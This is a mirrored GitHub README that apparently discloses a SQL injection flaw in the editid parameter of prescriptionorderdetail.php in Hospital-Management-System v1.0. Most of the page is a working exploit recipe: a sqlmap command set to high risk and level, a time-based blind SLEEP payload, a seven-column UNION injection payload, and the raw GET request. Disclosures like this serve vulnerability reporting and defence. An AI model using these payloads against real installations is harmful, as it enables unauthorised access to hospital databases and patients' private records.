Git Product home page Git Product logo

hospital-management-system-v1.0's Introduction

Snipaste_2022-11-05_04-51-46

Description:


The vulnerability page is prescriptionorderdetail.php

http://your-ip/hms/prescriptionorderdetail.php

Hospital-Management-System v1.0

The editid parameter in the prescriptionorderdetail.php page appears to be vulnerable to SQL injection attacks.

[+]sqlmap:

python sqlmap.py -r Your post packet.txt --random-agent --risk=3 --level=3 -dbs --batch

[+] Payloads:

Parameter: editid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: editid=1' AND (SELECT 5263 FROM (SELECT(SLEEP(5)))hjmA)-- DDqR

    Type: UNION query
    Title: Generic UNION query (random number) - 7 columns
    Payload: editid=1' UNION ALL SELECT 5151,5151,5151,5151,CONCAT(0x7176787a71,0x434e63636d5548486757786e4d65674d6d465142434c634858734d575a586a51774551557a6a6375,0x71626b6271),5151,5151--

[+]GET request package

GET /HMS/prescriptionorderdetail.php?editid=1 HTTP/1.1
Host: 192.168.92.3
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

In action:


Snipaste_2022-11-05_05-01-29

Proof and Exploit:


20221105_130630.mp4

hospital-management-system-v1.0's People

Contributors

b1ng0-b avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.